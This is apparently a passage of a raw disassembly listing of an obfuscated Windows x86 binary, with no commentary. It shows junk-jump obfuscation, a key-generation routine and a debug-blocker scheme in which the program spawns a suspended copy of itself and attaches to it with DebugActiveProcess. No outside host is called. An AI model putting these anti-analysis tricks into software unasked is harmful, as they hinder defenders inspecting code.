.text:loc_4B8C70j sal byte ptr [eax+0Eh], cl loc_4B8CA8: ; CODE XREF: .text:004B8CC9j jmp short loc_4B8CC7 ; --------------------------------------------------------------------------- loc_4B8CAA: ; CODE XREF: .text:loc_4B8CC7j xor ecx, ecx loc_4B8CAC: ; CODE XREF: .text:004B8CBBj jz short $+2 jmp short loc_4B8CC0 ; --------------------------------------------------------------------------- loc_4B8CB0: ; CODE XREF: .text:004B8CC4j stc xor ecx, 3 jz short loc_4B8C46 jmp short loc_4B8CBD ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_4B8CB9: ; CODE XREF: .text:loc_4B8CBDj jmp short loc_4B8CCB ; --------------------------------------------------------------------------- jz short loc_4B8CAC loc_4B8CBD: ; CODE XREF: .text:004B8CB6j jnb short loc_4B8CB9 ; --------------------------------------------------------------------------- db 0F2h ; --------------------------------------------------------------------------- loc_4B8CC0: ; CODE XREF: .text:004B8CAEj sbb bl, bl xor ebx, ebx jmp short loc_4B8CB0 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4B8CC7: ; CODE XREF: .text:loc_4B8CA8j jmp short loc_4B8CAA ; --------------------------------------------------------------------------- jmp short loc_4B8CA8 ; --------------------------------------------------------------------------- loc_4B8CCB: ; CODE XREF: .text:loc_4B8CB9j repne sbb al, 0DBh jmp short loc_4B8CD3 ; --------------------------------------------------------------------------- db 0EBh, 0D2h, 0B8h ; --------------------------------------------------------------------------- loc_4B8CD3: ; CODE XREF: .text:004B8CCEj popa popf bswap eax not ecx bswap eax not ecx push 0 push 1000h push 0 push 4 lea edx, [ebp-31Ch] push edx push 0FFFFFFFFh call dword_4ED10C ; CreateFileMappingA mov [ebp-104h], eax cmp dword ptr [ebp-104h], 0 jnz short loc_4B8D0D xor al, al jmp loc_4BC14E ; --------------------------------------------------------------------------- loc_4B8D0D: ; CODE XREF: .text:004B8D04j call dword_4ED108 ; GetCurrentProcess mov [ebp-320h], eax mov dword ptr [ebp-328h], 0 push 2 push 1 push 0 lea eax, [ebp-328h] push eax mov ecx, [ebp-320h] push ecx mov edx, [ebp-320h] push edx mov eax, [ebp-320h] push eax call dword_4ED104 ; DuplicateHandle push 1000h push 0 push 0 push 2 mov ecx, [ebp-104h] push ecx call dword_4ED100 ; MapViewOfFile mov dword_4F4764, eax xor edx, edx mov dl, byte_4F435C test edx, edx jz loc_4B9111 mov dword ptr [ebp-19A0h], 100h mov eax, [ebp-324h] cdq mov ecx, 2710h idiv ecx mov [ebp-1994h], eax mov eax, [ebp-324h] cdq mov ecx, 2710h idiv ecx mov [ebp-1990h], edx mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-199Ch], eax mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-1998h], edx mov ecx, [ebp-1990h] imul ecx, [ebp-1998h] mov edx, [ebp-1994h] imul edx, [ebp-1998h] mov eax, [ebp-1990h] imul eax, [ebp-199Ch] add eax, edx xor edx, edx mov esi, 2710h div esi mov eax, edx imul eax, 2710h add eax, ecx xor edx, edx mov ecx, 5F5E100h div ecx mov eax, edx add eax, 1 xor edx, edx mov ecx, 5F5E100h div ecx mov [ebp-324h], edx mov eax, [ebp-324h] xor edx, edx mov ecx, 2710h div ecx imul eax, [ebp-19A0h] xor edx, edx mov ecx, 2710h div ecx and eax, 0FFh mov [ebp-198Ch], eax mov dword ptr [ebp-19B4h], 100h mov eax, [ebp-324h] cdq mov ecx, 2710h idiv ecx mov [ebp-19A8h], eax mov eax, [ebp-324h] cdq mov ecx, 2710h idiv ecx mov [ebp-19A4h], edx mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-19B0h], eax mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-19ACh], edx mov ecx, [ebp-19A4h] imul ecx, [ebp-19ACh] mov edx, [ebp-19A8h] imul edx, [ebp-19ACh] mov eax, [ebp-19A4h] imul eax, [ebp-19B0h] add eax, edx xor edx, edx mov esi, 2710h div esi mov eax, edx imul eax, 2710h add eax, ecx xor edx, edx mov ecx, 5F5E100h div ecx mov eax, edx add eax, 1 xor edx, edx mov ecx, 5F5E100h div ecx mov [ebp-324h], edx mov eax, [ebp-324h] xor edx, edx mov ecx, 2710h div ecx imul eax, [ebp-19B4h] xor edx, edx mov ecx, 2710h div ecx and eax, 0FFh mov [ebp-1980h], eax mov dword ptr [ebp-19C8h], 100h mov eax, [ebp-324h] cdq mov ecx, 2710h idiv ecx mov [ebp-19BCh], eax mov eax, [ebp-324h] cdq mov ecx, 2710h idiv ecx mov [ebp-19B8h], edx mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-19C4h], eax mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-19C0h], edx mov ecx, [ebp-19B8h] imul ecx, [ebp-19C0h] mov edx, [ebp-19BCh] imul edx, [ebp-19C0h] mov eax, [ebp-19B8h] imul eax, [ebp-19C4h] add eax, edx xor edx, edx mov esi, 2710h div esi mov eax, edx imul eax, 2710h add eax, ecx xor edx, edx mov ecx, 5F5E100h div ecx mov eax, edx add eax, 1 xor edx, edx mov ecx, 5F5E100h div ecx mov [ebp-324h], edx mov eax, [ebp-324h] xor edx, edx mov ecx, 2710h div ecx imul eax, [ebp-19C8h] xor edx, edx mov ecx, 2710h div ecx and eax, 0FFh mov [ebp-1984h], eax mov dword ptr [ebp-19DCh], 100h mov eax, [ebp-324h] cdq mov ecx, 2710h idiv ecx mov [ebp-19D0h], eax mov eax, [ebp-324h] cdq mov ecx, 2710h idiv ecx mov [ebp-19CCh], edx mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-19D8h], eax mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-19D4h], edx mov ecx, [ebp-19CCh] imul ecx, [ebp-19D4h] mov edx, [ebp-19D0h] imul edx, [ebp-19D4h] mov eax, [ebp-19CCh] imul eax, [ebp-19D8h] add eax, edx xor edx, edx mov esi, 2710h div esi mov eax, edx imul eax, 2710h add eax, ecx xor edx, edx mov ecx, 5F5E100h div ecx mov eax, edx add eax, 1 xor edx, edx mov ecx, 5F5E100h div ecx mov [ebp-324h], edx mov eax, [ebp-324h] xor edx, edx mov ecx, 2710h div ecx imul eax, [ebp-19DCh] xor edx, edx mov ecx, 2710h div ecx and eax, 0FFh mov [ebp-1988h], eax mov edx, [ebp-1984h] shl edx, 8 mov eax, [ebp-1980h] shl eax, 10h mov ecx, [ebp-198Ch] shl ecx, 18h or ecx, eax or ecx, edx or ecx, [ebp-1988h] mov [ebp-1AA0h], ecx jmp short loc_4B911A ; --------------------------------------------------------------------------- loc_4B9111: ; CODE XREF: .text:004B8D72j mov edx, [ebp-38h] mov [ebp-1AA0h], edx loc_4B911A: ; CODE XREF: .text:004B910Fj mov eax, [ebp-1AA0h] xor eax, dword_4ED41C xor eax, dword_4ED424 xor eax, dword_4ED3EC xor eax, dword_4ED428 xor eax, dword_4ED3AC mov ecx, dword_4F4764 mov [ecx], eax mov edx, dword_4F4764 mov eax, [ebp-328h] mov [edx+4], eax call dword_4ED1B8 ; GetCurrentProcessId mov ecx, dword_4F4764 mov [ecx+8], eax mov edx, dword_4F4764 mov dword ptr [edx+20h], 0 mov eax, [ebp-104h] push eax push offset dword_4EDD0C lea ecx, [ebp-310h] push ecx call _sprintf_0 add esp, 0Ch lea edx, [ebp-310h] push edx push offset off_4EDD08 call dword_4ED098 ; SetEnvironmentVariableA push ecx bswap ecx not ecx push eax not eax mov eax, 6C65696Dh xchg eax, ecx mov ecx, 0DEADC0DEh xchg eax, ecx not eax pop eax not ecx pop ecx pushf pusha xor ebx, ebx jz short loc_4B91C1 loc_4B91BE: ; CODE XREF: .text:004B91DFj jmp short near ptr loc_4B91E1+1 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4B91C1: ; CODE XREF: .text:004B91BCj xor ebx, ebx jz short $+2 jmp short loc_4B91D4 ; --------------------------------------------------------------------------- db 0B8h db 0EBh, 0Fh ; --------------------------------------------------------------------------- loc_4B91CA: ; CODE XREF: .text:004B91D6j mov ecx, 34F9C987h nop stc jz short loc_4B91D8 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4B91D4: ; CODE XREF: .text:004B91C5j xor eax, eax jz short loc_4B91CA loc_4B91D8: ; CODE XREF: .text:004B91D1j mov eax, 4840C987h test eax, eax jnz short loc_4B91BE loc_4B91E1: ; CODE XREF: .text:loc_4B91BEj jmp near ptr 92B22F47h ; --------------------------------------------------------------------------- xchg ax, dx mov eax, eax mov eax, dword_4F4768 shl eax, 2 push eax call sub_4C85E1 add esp, 4 mov [ebp-18E4h], eax mov ecx, [ebp-18E4h] mov dword_4F4770, ecx mov edx, dword_4F4768 shl edx, 4 shl edx, 2 push edx call sub_4C85E1 add esp, 4 mov [ebp-18E8h], eax mov eax, [ebp-18E8h] mov dword_4F474C, eax mov ecx, dword_4F4768 shl ecx, 2 push ecx call sub_4C85E1 add esp, 4 mov [ebp-18ECh], eax mov edx, [ebp-18ECh] mov dword_4F4774, edx mov eax, dword_4F4768 shl eax, 2 push eax call sub_4C85E1 add esp, 4 mov [ebp-18F0h], eax ; CODE XREF: .text:004B92D7j mov ecx, [ebp-18F0h] mov dword_4F4778, ecx push 1000h call sub_4C85E1 add esp, 4 mov [ebp-18F4h], eax mov edx, [ebp-18F4h] mov dword_4F477C, edx mov eax, dword_4F4768 shl eax, 2 push eax call sub_4C85E1 add esp, 4 mov [ebp-18F8h], eax mov ecx, [ebp-18F8h] mov dword_4F4748, ecx push eax not eax bswap eax pop eax jnb short $+2 pushf pusha jmp short loc_4B92F3 ; CODE XREF: .text:loc_4B92F3j ; --------------------------------------------------------------------------- sal byte ptr [eax+0Eh], cl loc_4B92CB: ; CODE XREF: .text:004B92ECj jmp short loc_4B92EA ; --------------------------------------------------------------------------- loc_4B92CD: ; CODE XREF: .text:loc_4B92EAj xor ecx, ecx loc_4B92CF: ; CODE XREF: .text:004B92DEj jz short $+2 jmp short loc_4B92E3 ; --------------------------------------------------------------------------- loc_4B92D3: ; CODE XREF: .text:004B92E7j stc xor ecx, 3 jz short near ptr loc_4B9268+1 jmp short loc_4B92E0 ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_4B92DC: ; CODE XREF: .text:loc_4B92E0j jmp short loc_4B92EE ; --------------------------------------------------------------------------- jz short loc_4B92CF loc_4B92E0: ; CODE XREF: .text:004B92D9j jnb short loc_4B92DC ; --------------------------------------------------------------------------- db 0F2h ; --------------------------------------------------------------------------- loc_4B92E3: ; CODE XREF: .text:004B92D1j sbb bl, bl xor ebx, ebx jmp short loc_4B92D3 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4B92EA: ; CODE XREF: .text:loc_4B92CBj jmp short loc_4B92CD ; --------------------------------------------------------------------------- jmp short loc_4B92CB ; --------------------------------------------------------------------------- loc_4B92EE: ; CODE XREF: .text:loc_4B92DCj repne sbb al, 0DBh jmp short loc_4B92F6 ; --------------------------------------------------------------------------- loc_4B92F3: ; CODE XREF: .text:004B92C6j jmp short near ptr loc_4B92C6+1 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_4B92F6: ; CODE XREF: .text:004B92F1j popa popf bswap eax not ecx bswap eax not ecx mov edx, dword_4ED424 xor edx, [ebp-38h] mov [ebp-24h], edx mov dword ptr [ebp-4Ch], 0 jmp short loc_4B931E ; --------------------------------------------------------------------------- loc_4B9315: ; CODE XREF: .text:004B96BAj mov eax, [ebp-4Ch] add eax, 1 mov [ebp-4Ch], eax loc_4B931E: ; CODE XREF: .text:004B9313j mov ecx, dword_4F4768 shl ecx, 4 cmp [ebp-4Ch], ecx jge loc_4B96BF mov dword ptr [ebp-1A00h], 100h mov eax, [ebp-24h] cdq mov ecx, 2710h idiv ecx mov [ebp-19F4h], eax mov eax, [ebp-24h] cdq mov ecx, 2710h idiv ecx mov [ebp-19F0h], edx mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-19FCh], eax mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-19F8h], edx mov ecx, [ebp-19F0h] imul ecx, [ebp-19F8h] mov edx, [ebp-19F4h] imul edx, [ebp-19F8h] mov eax, [ebp-19F0h] imul eax, [ebp-19FCh] add eax, edx xor edx, edx mov esi, 2710h div esi mov eax, edx imul eax, 2710h add eax, ecx xor edx, edx mov ecx, 5F5E100h div ecx mov eax, edx add eax, 1 xor edx, edx mov ecx, 5F5E100h div ecx mov [ebp-24h], edx mov eax, [ebp-24h] xor edx, edx mov ecx, 2710h div ecx imul eax, [ebp-1A00h] xor edx, edx mov ecx, 2710h div ecx and eax, 0FFh mov [ebp-19ECh], eax mov dword ptr [ebp-1A14h], 100h mov eax, [ebp-24h] cdq mov ecx, 2710h idiv ecx mov [ebp-1A08h], eax mov eax, [ebp-24h] cdq mov ecx, 2710h idiv ecx mov [ebp-1A04h], edx mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-1A10h], eax mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-1A0Ch], edx mov ecx, [ebp-1A04h] imul ecx, [ebp-1A0Ch] mov edx, [ebp-1A08h] imul edx, [ebp-1A0Ch] mov eax, [ebp-1A04h] imul eax, [ebp-1A10h] add eax, edx xor edx, edx mov esi, 2710h div esi mov eax, edx imul eax, 2710h add eax, ecx xor edx, edx mov ecx, 5F5E100h div ecx mov eax, edx add eax, 1 xor edx, edx mov ecx, 5F5E100h div ecx mov [ebp-24h], edx mov eax, [ebp-24h] xor edx, edx mov ecx, 2710h div ecx imul eax, [ebp-1A14h] xor edx, edx mov ecx, 2710h div ecx and eax, 0FFh mov [ebp-19E0h], eax mov dword ptr [ebp-1A28h], 100h mov eax, [ebp-24h] cdq mov ecx, 2710h idiv ecx mov [ebp-1A1Ch], eax mov eax, [ebp-24h] cdq mov ecx, 2710h idiv ecx mov [ebp-1A18h], edx mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-1A24h], eax mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-1A20h], edx mov ecx, [ebp-1A18h] imul ecx, [ebp-1A20h] mov edx, [ebp-1A1Ch] imul edx, [ebp-1A20h] mov eax, [ebp-1A18h] imul eax, [ebp-1A24h] add eax, edx xor edx, edx mov esi, 2710h div esi mov eax, edx imul eax, 2710h add eax, ecx xor edx, edx mov ecx, 5F5E100h div ecx mov eax, edx add eax, 1 xor edx, edx mov ecx, 5F5E100h div ecx mov [ebp-24h], edx mov eax, [ebp-24h] xor edx, edx mov ecx, 2710h div ecx imul eax, [ebp-1A28h] xor edx, edx mov ecx, 2710h div ecx and eax, 0FFh mov [ebp-19E4h], eax mov dword ptr [ebp-1A3Ch], 100h mov eax, [ebp-24h] cdq mov ecx, 2710h idiv ecx mov [ebp-1A30h], eax mov eax, [ebp-24h] cdq mov ecx, 2710h idiv ecx mov [ebp-1A2Ch], edx mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-1A38h], eax mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-1A34h], edx mov ecx, [ebp-1A2Ch] imul ecx, [ebp-1A34h] mov edx, [ebp-1A30h] imul edx, [ebp-1A34h] mov eax, [ebp-1A2Ch] imul eax, [ebp-1A38h] add eax, edx xor edx, edx mov esi, 2710h div esi mov eax, edx imul eax, 2710h add eax, ecx xor edx, edx mov ecx, 5F5E100h div ecx mov eax, edx add eax, 1 xor edx, edx mov ecx, 5F5E100h div ecx mov [ebp-24h], edx mov eax, [ebp-24h] xor edx, edx mov ecx, 2710h div ecx imul eax, [ebp-1A3Ch] xor edx, edx mov ecx, 2710h div ecx and eax, 0FFh loc_4B9666: ; CODE XREF: .text:loc_4B96DDj mov [ebp-19E8h], eax mov edx, [ebp-19E4h] shl edx, 8 mov eax, [ebp-19E0h] shl eax, 10h mov ecx, [ebp-19ECh] shl ecx, 18h or ecx, eax or ecx, edx or ecx, [ebp-19E8h] xor ecx, dword_4ED41C xor ecx, dword_4ED424 xor ecx, dword_4ED3EC xor ecx, dword_4ED428 xor ecx, dword_4ED3AC mov edx, [ebp-4Ch] mov eax, dword_4F474C mov [eax+edx*4], ecx jmp loc_4B9315 ; --------------------------------------------------------------------------- loc_4B96BF: ; CODE XREF: .text:004B932Aj pusha xor eax, eax jnz short loc_4B96C6 jmp short loc_4B96DB ; --------------------------------------------------------------------------- loc_4B96C6: ; CODE XREF: .text:004B96C2j jmp short loc_4B96FB ; --------------------------------------------------------------------------- dd 7A1875C0h db 0Ch ; --------------------------------------------------------------------------- loc_4B96CD: ; CODE XREF: .text:loc_4B96DBj jo short loc_4B96DD jmp short near ptr loc_4B96DD+1 ; --------------------------------------------------------------------------- db 0E8h, 72h, 0Eh dd 15FFF179h db 0, 79h, 9 ; --------------------------------------------------------------------------- loc_4B96DB: ; CODE XREF: .text:004B96C4j jz short loc_4B96CD loc_4B96DD: ; CODE XREF: .text:loc_4B96CDj ; .text:004B96CFj jmp short loc_4B9666 ; --------------------------------------------------------------------------- fstp tbyte ptr [edx-10h] mov al, ds:45C76133h mov eax, 0 jmp short loc_4B96F7 ; --------------------------------------------------------------------------- loc_4B96EE: ; CODE XREF: .text:004B9741j mov ecx, [ebp-48h] add ecx, 1 mov [ebp-48h], ecx loc_4B96F7: ; CODE XREF: .text:004B96ECj mov edx, [ebp-48h] ; --------------------------------------------------------------------------- db 3Bh ; --------------------------------------------------------------------------- loc_4B96FB: ; CODE XREF: .text:loc_4B96C6j adc eax, offset dword_4F4768 jge short loc_4B9743 mov eax, [ebp-48h] mov ecx, dword_4F4770 mov dword ptr [ecx+eax*4], 0FFFFFFFFh mov edx, [ebp-48h] mov eax, dword_4F4774 mov dword ptr [eax+edx*4], 0 mov ecx, [ebp-48h] mov edx, dword_4F4778 mov dword ptr [edx+ecx*4], 0FFFFFFFFh mov eax, [ebp-48h] mov ecx, dword_4F4748 mov dword ptr [ecx+eax*4], 0 jmp short loc_4B96EE ; --------------------------------------------------------------------------- loc_4B9743: ; CODE XREF: .text:004B9700j push ecx bswap ecx not ecx push eax not eax mov eax, 6C65696Dh xchg eax, ecx mov ecx, 0DEADC0DEh xchg eax, ecx not eax pop eax not ecx pop ecx pushf pusha xor ebx, ebx jz short loc_4B9766 loc_4B9763: ; CODE XREF: .text:004B9784j jmp short near ptr loc_4B9786+1 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4B9766: ; CODE XREF: .text:004B9761j xor ebx, ebx jz short $+2 jmp short loc_4B9779 ; --------------------------------------------------------------------------- db 0B8h, 0EBh, 0Fh ; --------------------------------------------------------------------------- loc_4B976F: ; CODE XREF: .text:004B977Bj ; .text:loc_4B97E7j mov ecx, 34F9C987h nop stc jz short loc_4B977D ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4B9779: ; CODE XREF: .text:004B976Aj xor eax, eax jz short loc_4B976F loc_4B977D: ; CODE XREF: .text:004B9776j mov eax, 4840C987h test eax, eax jnz short loc_4B9763 loc_4B9786: ; CODE XREF: .text:loc_4B9763j jmp near ptr 92B234ECh ; --------------------------------------------------------------------------- xchg ax, dx mov eax, eax mov edx, dword_4F4768 sar edx, 1 add edx, 1 mov dword_4ED840, edx ; CODE XREF: .text:004B980Cj xor eax, eax mov al, byte_4F4742 test eax, eax jnz short loc_4B97F1 jo short loc_4B97B4 jl short loc_4B97B2 loc_4B97AF: ; CODE XREF: .text:loc_4B97B2j ; .text:loc_4B97B4j jmp short loc_4B97B6 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4B97B2: ; CODE XREF: .text:004B97ADj jz short loc_4B97AF loc_4B97B4: ; CODE XREF: .text:004B97ABj jmp short loc_4B97AF ; --------------------------------------------------------------------------- loc_4B97B6: ; CODE XREF: .text:loc_4B97AFj cmp dword_4ED840, 6 jnb short loc_4B97C9 mov dword_4ED840, 6 loc_4B97C9: ; CODE XREF: .text:004B97BDj pusha xor eax, eax jnz short loc_4B97D0 jmp short loc_4B97E5 ; --------------------------------------------------------------------------- loc_4B97D0: ; CODE XREF: .text:004B97CCj jmp short loc_4B9805 ; --------------------------------------------------------------------------- dw 75C0h ; --------------------------------------------------------------------------- sbb [edx+0Ch], bh loc_4B97D7: ; CODE XREF: .text:loc_4B97E5j jo short loc_4B97E7 jmp short near ptr loc_4B97E7+1 ; --------------------------------------------------------------------------- db 0E8h dd 0F1790E72h, 790015FFh db 9 ; --------------------------------------------------------------------------- loc_4B97E5: ; CODE XREF: .text:004B97CEj jz short loc_4B97D7 loc_4B97E7: ; CODE XREF: .text:loc_4B97D7j ; .text:004B97D9j jmp short near ptr loc_4B976F+1 ; --------------------------------------------------------------------------- fstp tbyte ptr [edx-10h] mov al, ds:62EB6133h loc_4B97F1: ; CODE XREF: .text:004B97A9j push eax not eax bswap eax pop eax jnb short $+2 pushf pusha jmp short loc_4B9828 ; CODE XREF: .text:loc_4B9828j ; --------------------------------------------------------------------------- sal byte ptr [eax+0Eh], cl loc_4B9800: ; CODE XREF: .text:004B9821j jmp short loc_4B981F ; --------------------------------------------------------------------------- loc_4B9802: ; CODE XREF: .text:loc_4B981Fj xor ecx, ecx ; --------------------------------------------------------------------------- db 74h ; --------------------------------------------------------------------------- loc_4B9805: ; CODE XREF: .text:loc_4B97D0j add bl, ch adc cl, bh ; CODE XREF: .text:004B981Cj xor ecx, 3 jz short near ptr loc_4B979A+4 jmp short loc_4B9815 ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_4B9811: ; CODE XREF: .text:loc_4B9815j jmp short loc_4B9823 ; --------------------------------------------------------------------------- db 74h db 0EFh ; --------------------------------------------------------------------------- loc_4B9815: ; CODE XREF: .text:004B980Ej jnb short loc_4B9811 repne sbb bl, bl xor ebx, ebx jmp short near ptr loc_4B9807+1 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4B981F: ; CODE XREF: .text:loc_4B9800j jmp short loc_4B9802 ; --------------------------------------------------------------------------- jmp short loc_4B9800 ; --------------------------------------------------------------------------- loc_4B9823: ; CODE XREF: .text:loc_4B9811j repne sbb al, 0DBh jmp short loc_4B982B ; --------------------------------------------------------------------------- loc_4B9828: ; CODE XREF: .text:004B97FBj jmp short near ptr loc_4B97FB+1 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_4B982B: ; CODE XREF: .text:004B9826j popa popf bswap eax not ecx bswap eax not ecx cmp dword_4ED840, 12h jnb short loc_4B9848 mov dword_4ED840, 12h loc_4B9848: ; CODE XREF: .text:004B983Cj jo short loc_4B9851 jl short loc_4B984F loc_4B984C: ; CODE XREF: .text:loc_4B984Fj ; .text:loc_4B9851j jmp short loc_4B9853 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4B984F: ; CODE XREF: .text:004B984Aj jz short loc_4B984C loc_4B9851: ; CODE XREF: .text:loc_4B9848j jmp short loc_4B984C ; --------------------------------------------------------------------------- loc_4B9853: ; CODE XREF: .text:loc_4B984Cj push offset aKernel32_0 ; "Kernel32" call dword_4ED07C ; LoadLibraryA mov [ebp-30h], eax push offset aOutputdebugstr ; "OutputDebugStringA" mov ecx, [ebp-30h] push ecx call dword_4ED074 ; GetProcAddress mov [ebp-44h], eax push offset aOutputdebugs_0 ; "OutputDebugStringW" mov edx, [ebp-30h] push edx call dword_4ED074 ; GetProcAddress mov [ebp-1Ch], eax mov eax, dword_4ED3DC xor eax, dword_4ED3FC xor eax, dword_4ED3F0 and eax, 2 test eax, eax jz short loc_4B98A2 call sub_4B3AA2 loc_4B98A2: ; CODE XREF: .text:004B989Bj lea ecx, [ebp-100h] mov dword_4F4750, ecx xor edx, edx mov dl, byte_4F4780 test edx, edx jnz loc_4B99AC lea eax, [ebp-470h] push eax call dword_4ED094 ; GetStartupInfoA mov cl, byte_4F4120 mov [ebp-574h], cl mov ecx, 40h xor eax, eax lea edi, [ebp-573h] rep stosd stosw stosb mov dl, byte_4F4120 mov [ebp-42Ch], dl mov ecx, 40h xor eax, eax lea edi, [ebp-42Bh] rep stosd stosw stosb mov eax, [ebp+8] and eax, 0FFh test eax, eax jz short loc_4B9940 cmp dword ptr [ebp-464h], 0 jnz short loc_4B9940 lea ecx, [ebp-574h] push ecx call sub_4B72D0 add esp, 4 and eax, 0FFh test eax, eax jz short loc_4B9940 lea edx, [ebp-574h] mov [ebp-464h], edx loc_4B9940: ; CODE XREF: .text:004B9911j ; .text:004B991Aj ... push 104h lea eax, [ebp-42Ch] push eax push 0 call dword_4ED1C4 ; GetModuleFileNameA test eax, eax jnz short loc_4B995F xor al, al jmp loc_4BC14E ; --------------------------------------------------------------------------- loc_4B995F: ; CODE XREF: .text:004B9956j mov ecx, dword_4F4750 push ecx lea edx, [ebp-470h] push edx push 0 push 0 push 4 push 1 push 0 push 0 call dword_4ED090 ; GetCommandLineA push eax lea eax, [ebp-42Ch] push eax call dword_4ED08C ; CreateProcessA test eax, eax jnz short loc_4B9998 xor al, al jmp loc_4BC14E ; --------------------------------------------------------------------------- loc_4B9998: ; CODE XREF: .text:004B998Fj mov ecx, [ebp-0F8h] push ecx call sub_4B4581 add esp, 4 jmp loc_4B9A96 ; --------------------------------------------------------------------------- loc_4B99AC: ; CODE XREF: .text:004B98B8j lea edx, [ebp-7C0h] push edx call dword_4ED0FC ; GetStartupInfoW mov ax, word_4F4124 mov [ebp-9C8h], ax mov ecx, 81h xor eax, eax lea edi, [ebp-9C6h] rep stosd stosw mov cx, word_4F4124 mov [ebp-77Ch], cx mov ecx, 81h xor eax, eax lea edi, [ebp-77Ah] rep stosd stosw mov edx, [ebp+8] and edx, 0FFh test edx, edx jz short loc_4B9A30 cmp dword ptr [ebp-7B4h], 0 jnz short loc_4B9A30 lea eax, [ebp-9C8h] push eax call sub_4B735F add esp, 4 and eax, 0FFh test eax, eax jz short loc_4B9A30 lea ecx, [ebp-9C8h] mov [ebp-7B4h], ecx loc_4B9A30: ; CODE XREF: .text:004B9A01j ; .text:004B9A0Aj ... push 104h lea edx, [ebp-77Ch] push edx push 0 call dword_4ED1BC ; GetModuleFileNameW test eax, eax jnz short loc_4B9A4F xor al, al jmp loc_4BC14E ; --------------------------------------------------------------------------- loc_4B9A4F: ; CODE XREF: .text:004B9A46j mov eax, dword_4F4750 push eax lea ecx, [ebp-7C0h] push ecx push 0 push 0 push 4 push 1 push 0 push 0 call dword_4ED0F8 ; GetCommandLineW push eax lea edx, [ebp-77Ch] push edx call dword_4ED0F4 ; CreateProcessW test eax, eax jnz short loc_4B9A87 xor al, al jmp loc_4BC14E ; --------------------------------------------------------------------------- loc_4B9A87: ; CODE XREF: .text:004B9A7Ej mov eax, [ebp-0F8h] push eax call sub_4B4581 add esp, 4 loc_4B9A96: ; CODE XREF: .text:004B99A7j push 0 call dword_4ED050 ; GetModuleHandleA mov [ebp-0F0h], eax mov ecx, [ebp-0F0h] mov edx, [ebp-0F0h] add edx, [ecx+3Ch] mov [ebp-20Ch], edx push 0 call dword_4ED050 ; GetModuleHandleA mov ecx, [ebp-20Ch] add eax, [ecx+28h] mov [ebp-40h], eax push 0 call dword_4ED050 ; GetModuleHandleA mov edx, [ebp-20Ch] sub eax, [edx+34h] mov [ebp-3Ch], eax push ecx bswap ecx not ecx push eax not eax mov eax, 6C65696Dh xchg eax, ecx mov ecx, 0DEADC0DEh xchg eax, ecx not eax pop eax not ecx pop ecx pushf pusha xor ebx, ebx jz short loc_4B9B04 loc_4B9B01: ; CODE XREF: .text:004B9B22j jmp short near ptr loc_4B9B24+1 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4B9B04: ; CODE XREF: .text:004B9AFFj xor ebx, ebx jz short $+2 jmp short loc_4B9B17 ; --------------------------------------------------------------------------- dw 0EBB8h db 0Fh ; --------------------------------------------------------------------------- loc_4B9B0D: ; CODE XREF: .text:004B9B19j mov ecx, 34F9C987h nop stc jz short loc_4B9B1B ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4B9B17: ; CODE XREF: .text:004B9B08j xor eax, eax jz short loc_4B9B0D loc_4B9B1B: ; CODE XREF: .text:004B9B14j mov eax, 4840C987h test eax, eax jnz short loc_4B9B01 loc_4B9B24: ; CODE XREF: .text:loc_4B9B01j jmp near ptr 92B2388Ah ; --------------------------------------------------------------------------- xchg ax, dx mov eax, eax mov eax, [ebp-40h] push eax push 1 mov ecx, dword_4F4750 push ecx call loc_4BDCE9 add esp, 0Ch mov edx, [ebp-40h] push edx mov eax, dword_4F4750 push eax call sub_4BDF17 add esp, 8 mov ecx, dword_4F4750 mov edx, [ecx+4] push edx call dword_4ED0F0 ; ResumeThread mov eax, dword_4F4750 mov ecx, [eax+8] ; CODE XREF: .text:004B9BD8j push ecx call dword_4ED0EC ; DebugActiveProcess mov [ebp-20h], eax mov edx, dword_4F4750 mov eax, [edx+4] push eax call dword_4ED1C8 ; SuspendThread mov ecx, [ebp-40h] push ecx push 0 mov edx, dword_4F4750 push edx call loc_4BDCE9 add esp, 0Ch mov eax, dword_4F4750 mov ecx, [eax+4] push ecx mov edx, dword_4F4750 mov eax, [edx+0Ch] push eax call sub_4BDB47 add esp, 8 mov dword ptr [ebp-34h], 0 push eax not eax bswap eax pop eax jnb short $+2 pushf pusha jmp short loc_4B9BF4 ; 